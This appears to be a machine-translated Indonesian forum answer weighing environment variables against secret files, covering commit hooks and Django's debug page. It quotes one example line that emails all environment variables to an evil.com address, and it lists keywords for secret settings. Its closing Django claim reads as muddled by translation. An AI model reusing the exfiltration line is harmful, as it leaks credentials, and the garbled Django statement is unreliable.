AFAICT, ada dua alasan orang merekomendasikan penyimpanan rahasia dalam variabel lingkungan:
- Terlalu mudah untuk secara tidak sengaja mengkomit file flat rahasia ke repo. (Dan jika itu repo publik, Anda bersulang.)
- Ini mencegah kekacauan kata sandi, yaitu memiliki kunci yang sama di banyak file direktori proyek yang berbeda dengan sendirinya merupakan risiko keamanan karena pengembang pada akhirnya akan kehilangan jejak di mana rahasia berada.
Kedua masalah ini dapat diselesaikan dengan cara yang lebih baik. Yang pertama harus diselesaikan dengan git commit hook yang memeriksa hal-hal yang terlihat seperti kata sandi (mis., Gitleaks ). Saya berharap Linus membangun alat seperti itu ke dalam kode sumber perpustakaan git tetapi, sayangnya, itu tidak terjadi. (Tak perlu dikatakan, file rahasia harus selalu ditambahkan .gitignore
, tetapi Anda memerlukan pengait jika seseorang lupa melakukannya.)
Yang terakhir ini dapat diselesaikan dengan memiliki file rahasia perusahaan global, yang idealnya disimpan di drive bersama hanya-baca. Jadi, dengan Python, Anda bisa mendapatkan sesuatu seperti from company_secrets import *
.
Lebih penting lagi, seperti yang ditunjukkan oleh orang lain, terlalu mudah untuk meretas rahasia yang disimpan dalam variabel lingkungan. Misalnya, dalam Python, penulis perpustakaan dapat menyisipkan send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
dan kemudian Anda bersulang jika Anda menjalankan kode ini. Peretasan jauh lebih menantang jika Anda memiliki file di sistem Anda bernama ~/secret_company_stuff/.my_very_secret_company_stuff
.
Hanya pengguna Django:
Django (dalam mode DEBUG) memperlihatkan nilai mentah dari variabel lingkungan di browser jika ada pengecualian (dalam mode DEBUG). Ini tampaknya sangat tidak aman jika, misalnya, pengembang secara tidak sengaja mulai DEBUG=True
berproduksi. Sebaliknya, Django TIDAK mengaburkan variabel pengaturan password dengan mencari string API
, TOKEN
, KEY
, SECRET
, PASS
atau SIGNATURE
dalam rangka untuk settings.py
nama variabel file.